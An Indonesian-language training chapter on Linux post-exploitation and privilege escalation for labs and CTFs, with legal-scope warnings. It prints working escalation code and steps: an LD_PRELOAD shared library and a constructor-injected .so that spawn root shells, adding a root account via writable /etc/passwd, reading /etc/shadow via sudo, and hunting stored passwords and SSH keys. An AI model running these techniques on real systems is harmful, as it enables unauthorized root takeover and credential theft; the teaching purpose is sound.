Chapter 8: Post-Exploitation dan Privilege Escalation Basics
Apa itu Post-Exploitation
Post-exploitation adalah fase setelah tester mendapatkan akses awal ke sistem target dalam scope yang sah. Akses awal bisa berupa akun biasa, shell terbatas, akses panel aplikasi, atau sesi remote dengan hak akses rendah.
Apa itu Privilege Escalation
Privilege Escalation adalah proses meningkatkan hak akses dari level rendah ke level yang lebih tinggi pada sistem.
Contoh umum:
- Dari user biasa menjadi
rootdi Linux - Dari user biasa menjadi
AdministratoratauNT AUTHORITY\SYSTEMdi Windows - Dari service account terbatas menjadi account dengan akses file, database, atau konfigurasi sensitif
Jenis Privilege Escalation
| Jenis | Penjelasan | Contoh |
|---|---|---|
| Vertical Privilege Escalation | Hak akses naik dari user biasa ke admin/root | user www-data menjadi root |
| Horizontal Privilege Escalation | Akses berpindah ke user lain dengan level setara | user A membaca file user B |
Prinsip Aman saat Privilege Escalation
Privilege escalation adalah fase yang sensitif karena tester sudah berada di dalam sistem. Gunakan prinsip berikut:
- Lakukan hanya pada sistem yang jelas masuk scope atau lingkungan yang memang disediakan untuk latihan
- Prioritaskan enumerasi pasif sebelum mencoba tindakan yang mengubah sistem
- Hindari menjalankan exploit publik tanpa memahami dampaknya
Legal First
Materi ini ditujukan untuk pembelajaran, CTF, lingkungan internal yang sah, atau penetration test dengan izin tertulis. Jangan mencoba privilege escalation pada sistem yang bukan milik sendiri atau tidak masuk scope.
Privilege Escalation di Linux
Pada Linux, target tertinggi biasanya adalah root. Namun dalam laporan pentest, dampak tidak selalu harus dibuktikan dengan mengambil alih shell root. Akses ke file konfigurasi, private key, database credential, atau kemampuan menjalankan satu command sensitif sebagai user lain juga bisa menjadi temuan serius.
Privilege escalation di Linux umumnya dimulai dari enumerasi yang rapi. Tester perlu memahami identitas user saat ini, versi sistem, permission file, service yang berjalan, dan kebiasaan konfigurasi administrator. Dari situ, pola risikonya mulai terlihat: ada credential yang tertinggal, binary yang diberi permission terlalu tinggi, sudo rule yang terlalu longgar, cron job yang memanggil script writable, atau service lama yang belum dipatch.
Bagian ini membahas jalur-jalur Linux privilege escalation yang paling sering muncul pada skenario latihan, CTF, dan pekerjaan penetration testing. Fokusnya bukan menghafal payload, tetapi memahami kenapa sebuah konfigurasi berbahaya, bagaimana membuktikan dampaknya dengan aman, dan bagaimana menulis rekomendasi perbaikannya.
Ringkasan area yang akan dibahas:
| Area | Konsep Utama | Evidence Utama |
|---|---|---|
| Kernel exploits | OS lama atau kernel rentan | uname -a, output exploit suggester |
| Stored passwords | Credential di config dan history | file config, .bash_history, path dan permission |
| Weak file permissions | File sensitif readable/writable | ls -la /etc/shadow, /etc/passwd |
| SSH keys | Private key terbuka | path id_rsa, owner, permission |
| Sudo attacks | Shell escape, intended functionality, LD_PRELOAD | sudo -l, env_keep, binary yang diizinkan |
| SUID attacks | Shared object, symlink, environment variable | find / -perm -4000, strings, strace |
| Capabilities | Capability berbahaya pada binary | getcap -r / |
| Cron attacks | PATH, wildcard, file overwrite | /etc/crontab, permission script |
| NFS root squashing | Export dengan no_root_squash | /etc/exports, showmount -e |
1) Basic Enumeration dan Baseline
Mulai dari memahami konteks sistem.
# Hostname
hostname
# Kernel version
uname -a
cat /etc/*release 2>/dev/null
# Show running processes
ps aux
# List users
cat /etc/passwd
# Show environment variables
env
# Show current user and group
id
# Show current working directory
pwd
# Show listening network services
ss -ltpnHal yang dicari:
- User saat ini
- Group yang dimiliki user
- Versi kernel dan distribusi Linux
- Direktori kerja saat ini
- Environment variable yang mungkin berisi credential atau path menarik
- Services yang berjalan di sistem
- Binary dan direktori custom seperti
/usr/local/bin,/opt, atau direktori aplikasi internal - File milik root yang bisa dibaca atau ditulis user biasa
2) Kernel Exploits
Kernel exploit memanfaatkan vulnerability pada kernel atau komponen OS. Jalur ini biasanya dicoba ketika sistem memakai kernel lama, patch keamanan tertinggal, atau distro sudah end-of-life. Karena efeknya bisa sangat besar, kernel exploit harus diperlakukan sebagai opsi berisiko tinggi, bukan langkah pertama.
Enumerasi awal:
uname -a
cat /etc/issue
cat /etc/*release 2>/dev/null
ls -la /opt /usr/local/bin 2>/dev/nullBisa menggunakan linux-exploit-suggester untuk mendapatkan daftar exploit yang mungkin bisa digunakan. Jika menggunakan exploit suggester, perlakukan hasilnya sebagai hipotesis, bukan bukti final. Tool seperti ini sering memberi beberapa kandidat exploit yang masih perlu diverifikasi dengan versi OS, arsitektur, dependency compiler, konfigurasi kernel, dan mitigasi yang aktif.
Checklist analisis:
- Cocokkan versi kernel dengan exploit yang disarankan
- Baca deskripsi exploit sebelum compile atau menjalankan binary
- Cek apakah exploit mengubah file sistem, user, password, atau binary penting
- Jalankan hanya pada sistem pengujian yang boleh di-reset
- Dokumentasikan command deteksi, versi kernel, nama vulnerability, dan hasil validasi
Risiko Kernel Exploit
Kernel exploit bisa membuat sistem crash, merusak file, atau meninggalkan perubahan permanen. Pada lingkungan pentest nyata, jangan menjalankan kernel exploit tanpa approval eksplisit. Untuk laporan produksi, cukup tulis "potentially vulnerable" jika belum ada izin validasi aktif.
Salah satu kernel exploit yang pernah populer dulu adalah dirtycow. Exploit ini sendiri memiliki banyak variant PoC
3) Stored Passwords di Config Files dan History
Credential sering bocor bukan karena vulnerability teknis yang rumit, tetapi karena password disimpan di tempat yang tidak semestinya. File konfigurasi, script deployment, backup, VPN profile, dan shell history sering menjadi sumber informasi yang sangat berharga setelah tester mendapat akses awal.
Lokasi yang layak diperiksa:
find /home -type f \( -name "*.conf" -o -name "*.config" -o -name "*.ovpn" \) 2>/dev/null
grep -Rni "pass\\|password\\|passwd\\|user\\|credential\\|secret" /home /opt /var/www 2>/dev/null
cat ~/.bash_history 2>/dev/nullHal yang perlu dipahami:
- File
.ovpn, config aplikasi, atau file chat client dapat menyimpan path ke file credential. .bash_historykadang berisi command login, password yang tidak sengaja diketik, atau command database.- Credential yang ditemukan bisa digunakan untuk horizontal privilege escalation ke user lain, lalu vertical privilege escalation dari user baru tersebut.
4) Weak File Permissions: /etc/shadow dan /etc/passwd
File autentikasi lokal adalah salah satu area paling sensitif di Linux. /etc/passwd menyimpan daftar user, UID, GID, home directory, dan shell. /etc/shadow menyimpan hash password dan seharusnya hanya dapat dibaca oleh root atau group khusus. Jika permission kedua file ini salah, tester bisa membaca hash untuk cracking offline atau, pada kondisi lebih buruk, memodifikasi akun lokal.
Struktur /etc/shadow

Struktur /etc/passwd

Contoh satu entry /etc/passwd:
root:x:0:0:root:/root:/bin/bashStrukturnya dibaca dari kiri ke kanan:
| Field | Contoh | Fungsi |
|---|---|---|
| Username | root | Nama akun lokal |
| Password placeholder | x | Penanda bahwa hash password disimpan di /etc/shadow |
| UID | 0 | User ID; UID 0 berarti privilege setara root |
| GID | 0 | Group ID utama untuk user tersebut |
| GECOS/comment | root | Informasi deskriptif user |
| Home directory | /root | Direktori home user |
| Login shell | /bin/bash | Shell yang dijalankan saat user login |
Permission normal:
ls -la /etc/passwd /etc/shadow
stat /etc/passwd /etc/shadowUmumnya:
-rw-r--r-- 1 root root ... /etc/passwd
-rw------- 1 root shadow ... /etc/shadowRisiko:
| Kondisi | Dampak |
|---|---|
/etc/shadow readable oleh user biasa | hash password dapat diekstrak untuk cracking offline |
/etc/passwd writable oleh user biasa | user dapat memanipulasi entry akun lokal |
/etc/shadow writable oleh user biasa | password akun privileged dapat diganti atau dilemahkan |
Langkah eksploitasi jika /etc/passwd writable oleh user biasa:
- Siapkan password yang akan digunakan untuk menambahkan akun baru
openssl passwd -6 <password>- Backup file
/etc/passwdagar bisa dikembalikan jika diperlukan
cp /etc/passwd /etc/passwd.bak- Edit file
/etc/passwd/lalu copy entry dari userrootdan paste ke akhir file dengan username baru - Ganti
xdengan hash password yang telah disiapkan sebelumnya. Kemudian simpan perubahan. - Switch ke akun yang baru saja ditambahkan dan coba login
su <username>5) SSH Keys
Private key SSH yang terbuka dapat menjadi jalur eskalasi jika key tersebut milik user privileged atau root. Dalam banyak insiden, akses awal tidak langsung memberikan privilege tinggi, tetapi membuka jalan untuk membaca file milik user lain. Jika di dalamnya ada private key yang tidak terlindungi, attacker bisa berpindah akun tanpa perlu mengeksploitasi service tambahan.
Enumerasi:
find / -type f \( -name id_rsa -o -name id_dsa -o -name id_ecdsa -o -name id_ed25519 \) 2>/dev/null
ls -la /home/*/.ssh 2>/dev/nullYang perlu dianalisis:
- Apakah private key bisa dibaca oleh user saat ini
- Key milik siapa
- Apakah SSH aktif dan reachable
- Apakah key tidak memiliki passphrase atau passphrase bisa diketahui dari file lain
Validasi biasanya dilakukan dengan:
chmod 400 id_rsa
ssh -i id_rsa user@target6) Sudo Permission dan GTFOBins
sudo memungkinkan user menjalankan command sebagai user lain, biasanya root. Fitur ini sah dan sangat umum dipakai untuk administrasi Linux, tetapi rule yang terlalu longgar bisa berubah menjadi jalur privilege escalation. Dalam pengujian, sudo -l hampir selalu menjadi salah satu command pertama karena hasilnya langsung menunjukkan batas kewenangan user saat ini.
sudo -lPerhatikan output seperti:
- Command yang boleh dijalankan tanpa password
- Command yang berjalan sebagai
root - Wildcard pada path
- Script custom yang dapat ditulis user biasa
Contoh risiko:
| Temuan | Risiko |
|---|---|
NOPASSWD untuk command tertentu | user dapat menjalankan command privileged tanpa password |
| Script sudo bisa diedit user biasa | user dapat menyisipkan perintah tambahan |
| Wildcard pada path command | command injection atau path manipulation |
| Binary interaktif seperti editor/pager | bisa membuka shell atau membaca file sensitif |
env_keep+=LD_PRELOAD | shared library user dapat dimuat oleh proses sudo |
GTFOBins adalah referensi teknik untuk menyalahgunakan binary Linux yang diberi permission khusus, misalnya melalui sudo, SUID, capabilities, atau file read/write. Dalam konteks belajar, GTFOBins membantu kita memahami kenapa binary yang terlihat biasa seperti editor, pager, archiver, atau interpreter bisa berbahaya jika dijalankan sebagai root.
Contoh alur analisis:
- Jalankan
sudo -l. - Catat binary yang boleh dijalankan sebagai root.
- Cari binary tersebut di GTFOBins.
- Pilih teknik sesuai konteks, misalnya
sudo,SUID, ataufile read. - Validasi dampak seminimal mungkin dan catat evidence.
Sudo Shell Escaping
Shell escaping terjadi ketika program yang dijalankan via sudo memiliki fitur menjalankan command lain. Editor, pager, interpreter, debugger, dan tool scripting sering masuk kategori ini.
Contoh yang perlu dianalisis:
vim,less,man,find,awk,nmap,python,perl- Program yang memiliki mode interaktif
- Program yang dapat membaca file arbitrary sebagai root
Sudo Abusing Intended Functionality
Tidak semua penyalahgunaan sudo membutuhkan shell escape. Kadang binary memang memiliki fitur sah untuk membaca file, memuat konfigurasi, atau membuka path tertentu. Jika binary tersebut dijalankan sebagai root, fitur normalnya dapat membuka data yang seharusnya tidak bisa dibaca user biasa.
Pertanyaan analisis:
- Apakah command dapat membaca file arbitrary
- Apakah command dapat menulis output ke path arbitrary
- Apakah command dapat memuat config dari path user
- Apakah command dapat memanggil plugin, module, atau script
Contoh yang sering ditemui adalah cat, tar, cp, rsync, atau tee yang diberi akses sudo. Binary seperti ini tidak selalu memberikan shell, tetapi fungsi normalnya sudah cukup berbahaya jika dijalankan sebagai root.
Misalnya output sudo -l menunjukkan user boleh menjalankan cat sebagai root:
(root) NOPASSWD: /bin/catSecara normal, cat hanya membaca isi file. Namun ketika dijalankan melalui sudo, file yang sebelumnya tidak bisa dibaca user biasa dapat ikut terbaca karena prosesnya berjalan dengan privilege root. Dampaknya bisa berupa kebocoran hash password, private key, konfigurasi service, atau credential aplikasi.
Contoh:
sudo cat /etc/shadowSudo LD_PRELOAD
LD_PRELOAD memungkinkan dynamic linker memuat shared library sebelum library lain. Pada konfigurasi sudo yang aman, environment berbahaya biasanya dibersihkan. Jika rule sudo mempertahankan LD_PRELOAD, user bisa memaksa program privileged memuat library yang dikontrol user.
Deteksi:
sudo -lCari indikasi seperti:
env_keep+=LD_PRELOADLangkah eksploitasi:
- Siapkan shared library yang berisi kode berbahaya.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}- Compile shared library:
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles- Transfer file jika shared library dicompile di mesin attacker.
- Jalankan binary dengan shared library:
sudo LD_PRELOAD=/tmp/x.so /usr/bin/<binary>7) SUID Binary
File dengan bit SUID berjalan menggunakan permission owner file tersebut. Jika owner-nya root, binary tersebut dapat menjalankan sebagian operasi dengan privilege root. SUID tidak otomatis berbahaya karena beberapa binary sistem memang membutuhkannya, tetapi SUID pada binary yang salah, custom, atau memiliki fitur escape dapat membuka eskalasi yang sangat cepat.

Cari file SUID:
find / -perm -4000 -type f 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/nullYang perlu dianalisis:
- Apakah binary standar atau custom
- Apakah owner-nya
root - Apakah binary dapat membaca/menulis file
- Apakah binary memiliki shell escape
- Apakah versinya rentan
- Apakah binary muncul di GTFOBins pada kategori SUID
Contoh output yang perlu diperhatikan:
-rwsr-xr-x 1 root root 123456 /usr/bin/find
-rwsr-xr-x 1 root root 123456 /usr/bin/bashSUID Shared Object Injection
Shared object injection terjadi ketika binary SUID mencoba memuat library dari path yang dapat dikontrol user. Jika library yang dicari tidak ada tetapi path parent writable, user dapat membuat library dengan nama yang diharapkan.
Deteksi:
strace /path/to/suid-binary 2>&1 | grep -i -E "open|access|no such file"Yang dicari:
- Path
.soyang tidak ditemukan - Apakah direktori tujuan writable
- Apakah binary berjalan dengan SUID root
Langkah eksploitasi:
- Siapkan shared object yang akan diinject
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}- Compile shared object dan copy ke direktori tujuan
gcc -shared -o <output.so> -fPIC <file.c>Kemudian timpa file
.soyang dicari dengan file yang telah dikompilasiJalankan binary yang memiliki SUID root
SUID Environment Variables
Binary SUID custom sering memanggil command lain tanpa path absolut atau menggunakan shell secara tidak aman. Jika environment seperti PATH, exported function, atau shell tracing dapat dimanipulasi, user bisa mengarahkan binary untuk menjalankan command yang dikontrol user.
Deteksi:
strings /path/to/suid-binary
ltrace /path/to/suid-binary 2>/dev/null
strace /path/to/suid-binary 2>&1 | grep -i execYang dicari:
- Command tanpa path absolut, misalnya
servicebukan/usr/sbin/service - Pemanggilan
system(),popen(), atau shell - Dependensi pada environment variable
8) Linux Capabilities dan setcap
Linux capabilities membagi hak istimewa root menjadi beberapa kemampuan kecil. Tujuannya baik: sebuah binary bisa diberi kemampuan spesifik tanpa harus diberi SUID root penuh. Masalah muncul ketika capability berbahaya diberikan ke interpreter, shell, editor, atau binary custom yang bisa menjalankan command arbitrer.
Contoh capability:
| Capability | Risiko Jika Salah Konfigurasi |
|---|---|
cap_setuid | binary dapat mengubah UID process dan berpotensi menjadi root |
cap_setgid | binary dapat mengubah GID process |
Untuk mencari binary yang memiliki capabilities:
getcap -r / 2>/dev/nullContoh output yang perlu diperhatikan:
/usr/bin/python3 = cap_setuid+epUntuk cara eksploitasi bisa cek pada GTFOBins terlebih dahulu.
9) Command Hijacking pada Script
Command hijacking terjadi ketika script privileged memanggil command tanpa path absolut, lalu attacker mengontrol lokasi command yang akan dieksekusi. Pola ini sering muncul pada script backup, maintenance, deploy, atau monitoring yang dibuat cepat tanpa mempertimbangkan environment tempat script berjalan.
Contoh script rentan:
#!/bin/bash
tar -czf /backup/app.tar.gz /var/www/htmlPada contoh tersebut, tar dipanggil tanpa path absolut seperti /usr/bin/tar. Jika script berjalan sebagai root dan environment PATH dapat dimanipulasi, command palsu bernama tar dapat dieksekusi lebih dulu.
Yang perlu dicari:
find / -type f -name "*.sh" 2>/dev/null
find / -writable -type d 2>/dev/null
grep -R "tar\|cp\|mv\|chmod\|chown\|service" /opt /var/www /usr/local/bin 2>/dev/nullChecklist analisis:
- Apakah script dijalankan oleh root atau user privileged
- Apakah script menggunakan command tanpa path absolut
- Apakah direktori script writable
- Apakah
PATHdapat dikontrol - Apakah script dipanggil oleh
sudo, cron job, atau service
10) Cron Job, PATH, Wildcard, File Overwrite, dan pspy
Cron job menjalankan task otomatis pada interval tertentu. Dari sudut pandang attacker, cron menarik karena ia bisa menjalankan command tanpa interaksi manusia. Jika cron job berjalan sebagai root dan memanggil script atau command yang bisa dimodifikasi user biasa, privilege escalation bisa terjadi hanya dengan menunggu jadwal berikutnya.
Enumerasi cron:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /var/spool/cron/
systemctl list-timers 2>/dev/nullHal yang dicari:
- Cron job berjalan sebagai user apa
- Script atau binary yang dipanggil
- Apakah file target writable
- Apakah direktori target writable
- Apakah script memakai command tanpa path absolut
- Apakah ada wildcard yang berbahaya
Contoh pola berisiko:
* * * * * root /opt/backup/backup.shJika /opt/backup/backup.sh bisa ditulis user biasa, maka cron akan mengeksekusi perubahan tersebut sebagai root.
Cron PATH
Cron memiliki environment sendiri. Jika PATH di /etc/crontab memprioritaskan direktori writable user, script root yang memanggil command tanpa path absolut dapat menjalankan command palsu.
Deteksi:
cat /etc/crontab
find / -writable -type d 2>/dev/nullYang dicari:
PATHberisi direktori yang writable oleh user biasa- Cron root memanggil command tanpa path absolut
- Nama command yang bisa ditiru di direktori writable
Cron Wildcards
Wildcard berbahaya ketika command seperti tar memproses nama file sebagai opsi. Jika attacker bisa membuat file dengan nama yang terlihat seperti flag command, wildcard dapat berubah menjadi eksekusi opsi tak terduga.
Deteksi:
cat /usr/local/bin/compress.sh 2>/dev/null
grep -R "tar .*\\*" /etc/cron* /usr/local/bin /opt 2>/dev/nullYang dicari:
- Command backup menggunakan
* - Direktori sumber backup writable oleh user biasa
- Command yang memiliki opsi eksekusi command atau checkpoint
Cron File Overwrite
Jika script yang dijalankan cron root writable oleh user biasa, eskalasi menjadi langsung: user dapat menambahkan command yang akan dijalankan oleh root pada interval berikutnya.
Deteksi:
cat /etc/crontab
ls -la /usr/local/bin/overwrite.sh 2>/dev/null
namei -l /usr/local/bin/overwrite.sh 2>/dev/nullYang dicari:
- File script writable
- Direktori parent writable
- Owner bukan root atau group write tidak perlu
- Cron menjalankan script sebagai root
pspy
pspy adalah tool untuk melihat process yang berjalan tanpa perlu privilege root. Tool ini berguna untuk menemukan cron job, script otomatis, dan command periodik yang tidak terlihat dari file konfigurasi biasa.
Alur penggunaan:
chmod +x pspy64
./pspy64Yang dicatat dari output pspy:
- Command yang muncul berulang
- User yang menjalankan process
- Path script atau binary
- Interval eksekusi
- Apakah ada file yang bisa ditulis user saat ini
11) NFS Root Squashing
NFS export yang menggunakan no_root_squash dapat membuat root dari client tetap dianggap root di share NFS. Dalam konfigurasi aman, root dari client biasanya dipetakan menjadi user tidak privileged agar tidak bisa membuat file root-owned di server. Jika proteksi ini dimatikan pada share writable, attacker dapat membuat file SUID dari sisi client lalu menjalankannya di target.
Deteksi di target:
cat /etc/exportsDeteksi dari attacker machine atau AttackBox:
showmount -e <target-ip>Yang dicari:
- export writable
- opsi
no_root_squash - versi NFS yang dapat di-mount dari attacker
- path mount yang juga dapat diakses dari target
Konsep eksploitasi:
- Mount export NFS dari attacker machine.
- Buat binary atau file dengan owner root pada share tersebut.
- Beri bit SUID dari sisi client.
- Jalankan file tersebut dari target.
Hands-on
Latihan privilege escalation paling aman dilakukan di platform lab.
Linux
Room lab yang direkomendasikan:
Jika akses SSH muncul error Unable to negotiate with <target_ip> port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss, tambahkan opsi HostKeyAlgorithms ke command SSH:
ssh -oHostKeyAlgorithms=+ssh-rsa TCM@<target_ip>Windows
Room lab yang direkomendasikan:
